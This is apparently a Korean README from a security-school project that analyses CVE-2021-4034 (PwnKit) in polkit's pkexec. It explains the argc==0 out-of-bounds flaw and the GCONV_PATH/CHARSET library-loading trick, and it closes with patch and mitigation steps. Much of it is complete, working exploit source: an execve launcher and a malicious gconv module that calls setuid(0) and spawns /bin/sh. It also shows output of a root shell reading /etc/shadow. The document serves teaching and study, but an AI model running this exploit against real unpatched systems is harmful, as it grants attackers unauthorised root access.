
Whitehat School 4기 CVE-2021-4034 분석 및 POC 작성
🔗 원본 프로젝트: berdav/CVE-2021-4034
이 프로젝트는 원본을 기반으로 교육 목적으로 분석 및 수정한 버전입니다.
MIT License 준수 | White Hat School 교육 과제
CVE-2021-4034는 Linux policykit-1(PolicyKit)의 로컬 권한 상승 취약점이다. 일반 사용자가 pkexec를 인자 없이 실행시켜 프로세스 메모리 구조의 허점을 이용하고, 이를 통해 원래는 걸러졌어야 할 환경변수 문자열을 glib이 다시 참조하게 만들어 악의적인 .so 파일을 로드시킴으로써 root 권한을 획득할 수 있다.
⚠️ 교육 목적 전용: 이 코드는 수정된 시스템에서만 사용해야 합니다.
실제 시스템 공격에 사용하면 법적 책임이 발생할 수 있습니다.
| 항목 | 내용 |
|---|---|
| CVE ID | CVE-2021-4034 |
| 취약점명 | PwnKit |
| 영향받는 버전 | polkit 0.105 이전 패치가 적용되지 않은 버전 전반 (테스트 환경 기준: Ubuntu 20.04의 policykit-1 0.105-26ubuntu1) |
| 취약점 타입 | Local Privilege Escalation (LPE) |
| 심각도 | Critical (CVSS 7.8) |
| 패치 버전 | policykit-1 >= 0.105-26ubuntu1.1 |
| 발견일 | 2021년 6월 (공개는 2022년 1월) |
Ubuntu만의 문제로 오해하기 쉬운데, pkexec 자체의 로직 결함이라 polkit을 쓰는 배포판이면 대부분 영향을 받는다. Docker 테스트 환경이 Ubuntu 20.04라 위 표엔 그 버전을 같이 적어뒀다.
처음 분석할 때는 "환경변수를 검증 안 해서 생긴 문제"인 줄 알았는데, 소스코드랑 패치 커밋을 같이 보니 순서가 좀 다르다는 걸 알게 됐다. 진짜 원인은 따로 있고, 환경변수 문제는 그 원인 때문에 벌어지는 결과 쪽에 가깝다. 아래는 그 흐름을 원인 순서대로 정리한 것.
pkexec는 PolicyKit을 통해 권한 상승을 요청하는 SUID-root 프로그램이다.
# 예: root 권한으로 명령어 실행
pkexec /bin/id
pkexec systemctl restart service
일반 사용자가 관리자 권한으로 특정 작업을 수행할 때 쓰인다.
argc == 0인 경우를 예외처리하지 않음pkexec의 main() 함수는 명령줄 인자를 처리하는 부분에서, 인자가 하나도 없이 실행된 경우(argc == 0)를 검증하지 않는다. 이게 이 취약점의 진짜 시작점이다.
argv = {"pkexec", "명령어", NULL} → argc >= 1execve("/usr/bin/pkexec", {NULL}, env) → argc == 0argc가 0이면 argv 리스트에는 종료를 뜻하는 NULL 하나만 남는다. 그런데 pkexec 내부 로직은 이 상황에서도 존재하지 않는 argv[1]을 읽고 쓰려고 시도한다. 문제는 리눅스가 프로세스를 실행할 때 argv 배열과 envp(환경변수) 배열을 메모리상 바로 옆에 붙여서 배치한다는 점이다. 그래서 범위를 벗어난 argv[1]은 사실 envp[0], 즉 첫 번째 환경변수를 그대로 가리키게 된다.
정상 상황: argv = [ "pkexec" | NULL ]
공격 상황: argv = [ NULL ] ← argc = 0
↑
존재하지 않는 argv[1]에 접근
↓
메모리상 바로 뒤에 있는 envp[0]을 읽고 쓰게 됨 (out-of-bounds)
왜 이게 위험한가:
GCONV_PATH, LD_PRELOAD 같은 위험한 환경변수를 안전하지 않은 것으로 판단해 제거한다.argc < 1이면 즉시 종료하도록 검증 로직을 추가하는 방식으로 이 부분을 고쳤다. (CWE-125 out-of-bounds read, CWE-787 out-of-bounds write에 해당)📌 정리하면: 환경변수 미검증은 "공격이 통하는 조건"이고, 진짜 취약점(root cause)은 pkexec가 argc == 0인 경우를 처리하지 않은 것이다. 아래 3번은 이 원인 때문에 벌어지는 결과 쪽이다.
2번에서 설명한 OOB 동작 덕분에, pkexec가 glib을 초기화하는 과정에서 이 문자열이 검증되지 않은 채로 다시 쓰이게 된다.
// CVE-2021-4034_exploit.c
char * const env[] = {
"GCONV_PATH=.", // 원래는 ld.so가 걸러냈어야 함
"CHARSET=PWNKIT", // 존재하지 않는 인코딩
};
execve("/usr/bin/pkexec", args, env); // argv는 비워서 argc=0을 만듦
문제:
여기서 중요한 건, glib 자체는 잘못한 게 없다는 점이다. GCONV_PATH가 설정되어 있으면 그 경로에서 converter를 찾는 건 glib의 정상 동작이다. 문제는 pkexec가 secure execution 상태(위험한 환경변수가 제거된 상태)를 이미 깨뜨려놓은 뒤라는 것 — glib은 그저 정상적으로 동작했을 뿐인데, 그 정상 동작이 악용당하는 구조다.
CHARSET 환경변수 확인
CHARSET=PWNKIT
gconv-modules 파일에서 converter 정의 검색
module UTF-8// PWNKIT// pwnkit 1
GCONV_PATH에서 .so 파일 로드
GCONV_PATH=. → 현재 디렉토리에서 pwnkit.so 검색
.so 파일의 초기화 함수 자동 실행
// pwnkit.c - .so 파일 로드 시 자동으로 실행됨
void gconv_init(void *step)
{
setuid(0); // root 권한 획득
setgid(0);
execve("/bin/sh"); // root shell 실행!
}
gconv_init을 "생성자 함수"라고 부르기 쉬운데, 엄밀히는 C의 __attribute__((constructor))와는 다르다. 정확히는 gconv 모듈 인터페이스에서 정의된 초기화 함수이고, glib이 dlopen으로 .so를 로드한 뒤 이 함수를 명시적으로 호출하는 것이다.
┌─────────────────────────────────────┐
│ 일반 사용자 (uid=1000) │
└─────────────────────────────────────┘
│
│ 1. argv 비우고 pkexec 실행 (argc=0)
│ + 악의적 환경변수 설정
│ GCONV_PATH=. / CHARSET=PWNKIT
↓
┌─────────────────────────────────────┐
│ pkexec 실행 │
│ argc 검증 없음 → OOB → 문자열 재참조 │
└─────────────────────────────────────┘
│
│ 2. glib이 정상 동작대로 처리
│ CHARSET=PWNKIT 인코딩 검색
│ GCONV_PATH=.에서 converter 찾음
↓
┌─────────────────────────────────────┐
│ pwnkit.so 로드 │
│ (현재 디렉토리의 악의적 .so 파일) │
└─────────────────────────────────────┘
│
│ 3. gconv 초기화 함수 자동 실행 (root 권한!)
↓
┌─────────────────────────────────────┐
│ root shell 획득 ✅ │
│ uid=0(root) gid=0(root) │
└─────────────────────────────────────┘
# 1. 프로젝트 받기
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034
# 2. 최신 버전 확인
git pull origin main
# 3. 빌드 (캐시 없이)
docker compose build --no-cache
# 4. 실행
docker compose up
docker system prune -a --volumes --force는 캐시나 볼륨이 꼬여서 위 방법으로 안 될 때만 쓰는 걸 추천한다. 시스템 전체의 Docker 캐시를 지우는 꽤 공격적인 명령이라, 다른 프로젝트 캐시까지 같이 날아갈 수 있다. 관련 내용은 아래 "겪었던 문제 및 해결 방법"에 따로 정리해뒀다.
pwnkit | 현재 권한 (공격 전): uid=1000(WHS4_student)
pwnkit | # id
pwnkit | uid=0(root) gid=0(root) groups=0(root) ← 성공! ✅

WHS4_CVE-2021-4034/
├── docker-compose.yml # Docker Compose 설정
├── Dockerfile # 취약 Ubuntu 20.04 환경
├── start.sh # 컨테이너 초기화 및 자동 실행
├── Makefile # 빌드 설정
├── CVE-2021-4034_exploit.c # Exploit 코드 (pkexec 호출)
├── pwnkit.c # 악의적 .so 파일 (권한 상승)
├── gconv-modules # glib converter 매핑
├── README.md # 이 파일
└── LICENSE # MIT License
#include <unistd.h>
int main(int argc, char *argv[])
{
// pkexec에 실행할 프로그램을 지정하지 않음
// (args에 NULL만 있음) → 이게 곧 argc=0을 만드는 부분
char * const args[] = {
NULL
};
// 🔴 검증되지 않은 악의적 환경변수
// argc=0으로 인한 OOB 덕분에 다시 참조 가능해져 pkexec에 그대로 전달됨
char * const env[] = {
"GCONV_PATH=.", // converter 경로 (현재 디렉토리)
"CHARSET=PWNKIT", // 존재하지 않는 인코딩
"SHELL=/bin/sh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// pkexec 실행 (인자 없이 → argc=0 트리거)
execve("/usr/bin/pkexec", args, env);
return 0;
}
핵심:
args에 pkexec 자체 이름조차 넣지 않아 argc가 0이 되도록 만듦 → 근본 원인(argc 미검증) 트리거GCONV_PATH=. : OOB로 다시 참조 가능해진 뒤 glib이 이 경로에서 converter를 검색CHARSET=PWNKIT : glib이 이 인코딩의 converter를 찾도록 유도#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// .so 파일을 converter로 인식하기 위한 함수 (형식상 필요)
void gconv()
{
}
// 🎯 CVE-2021-4034의 핵심
// .so 파일 로드 시 glib이 dlopen 후 명시적으로 호출하는 초기화 함수
// 이 함수가 root 권한으로 실행된다! ← 핵심 취약점!
void gconv_init(void *step)
{
char * const args[] = {
"/bin/sh", // root shell 실행
NULL
};
char * const env[] = {
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// root 권한 명시적 설정 (이미 root이지만)
setuid(0);
setgid(0);
// root shell 실행 ← 권한 상승 성공!
execve(args[0], args, env);
exit(0);
}
핵심:
gconv_init()은 C constructor attribute가 아니라, gconv 모듈 인터페이스 규격에 따라 glib이 dlopen 이후 직접 호출하는 초기화 함수setuid(0) 후 shell을 실행하면 root shell을 그대로 얻게 됨$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)
$ cat /etc/shadow
cat: /etc/shadow: Permission denied

실제로 해당 갭쳐본은 처음으로 익스플로잇이 성공했을 때이며 위를 보면 사용자 권한에 대해 나온다.
$ ./CVE-2021-4034_exploit
참고: exploit 자체는 sudo가 필요 없다. pkexec가 이미 SUID-root 바이너리라 일반 사용자 권한만으로 root shell을 얻는 게 이 취약점의 핵심이다. Docker 테스트 환경에서
sudo -E를 쓴 적이 있는데, 이건 NOPASSWD 설정을 확인하는 실행 편의를 위한 것이었고 취약점 자체와는 무관하다.
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (root만 볼 수 있는 내용)

위를 보면 실제 공격 이후 루트 권한을 얻을 것을 볼 수 있다.
좀 더 전체적으로 공격 이전과 이후에 대해 보고 싶다면 위의 ### 실제 공격 전 권한 부분의 사진을 보는 것을 추천한다.
✅ 권한 상승 성공!
Ubuntu 20.04 기반 Docker 환경에서 재현 성공 (policykit-1 0.105-26ubuntu1). 아직 반복 테스트 횟수가 많지 않아서, 커널·배포판 버전을 바꿔가며 몇 차례 더 돌려보고 결과를 채워나갈 예정이다.
# 1. 패치 업그레이드 (권장)
sudo apt-get update
sudo apt-get install policykit-1=0.105-26ubuntu1.1
# 버전 확인
dpkg -l | grep policykit-1
# 0.105-26ubuntu1.1 이상이어야 함
# /etc/sudoers 수정 (sudo visudo)
Defaults env_delete = "GCONV_PATH,GCONV_MODULES,CHARSET"
unset GCONV_PATH
unset GCONV_MODULES
unset CHARSET
패치가 근본 해결책이고, 위 두 가지는 패치 전까지 쓸 수 있는 임시방편에 가깝다. argc 검증 자체는 pkexec 코드가 고쳐져야 해결되는 문제라 환경변수 쪽만 막아서는 완전히 막히지 않는다.
docker-compose 명령어를 찾을 수 없음원인: Ubuntu 24.04에서는 docker-compose(v1)이 없고 docker compose(v2)만 있음
해결:
# docker compose 명령어 사용 (v2)
docker compose up
원인: Dockerfile의 NOPASSWD 설정이 제대로 반영되지 않음 (Docker 캐시 문제)
해결:
docker compose build --no-cache
docker compose up
그래도 안 되면 캐시를 완전히 지우고 다시 시도한다.
docker compose down -v
docker system prune -a --volumes --force
docker compose up --build --no-cache
원인: 로컬 파일이 이전 버전으로 유지됨
해결:
# GitHub에서 최신 버전 받기
git pull origin main
# 파일 확인
cat Dockerfile | grep NOPASSWD
cat start.sh | grep "nofork=false"
# 다시 빌드
docker compose up --build --no-cache
원인: 기존 컨테이너가 남아있음
해결:
# 컨테이너 제거
docker compose down
docker rm pwnkit -f
# 다시 실행
docker compose up
원인: Docker에서 생성된 파일의 권한이 root임
해결:
# WSL/Linux에서
sudo rm -rf WHS4_CVE-2021-4034
작성자: krleejihyeong
새로 작성/수정한 부분:
이 프로젝트는 MIT License를 따릅니다.
Copyright (c) 2026 krleejihyeong (수정 및 분석)
Copyright (c) 2021 berdav (원본 PoC)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
자세한 내용은 LICENSE 파일을 참조하세요.
이 프로젝트는 순수 교육 목적으로만 제작되었습니다.
권한 없는 컴퓨터 시스템 접근은 법적으로 처벌받을 수 있습니다.
마지막 업데이트: 2026년 7월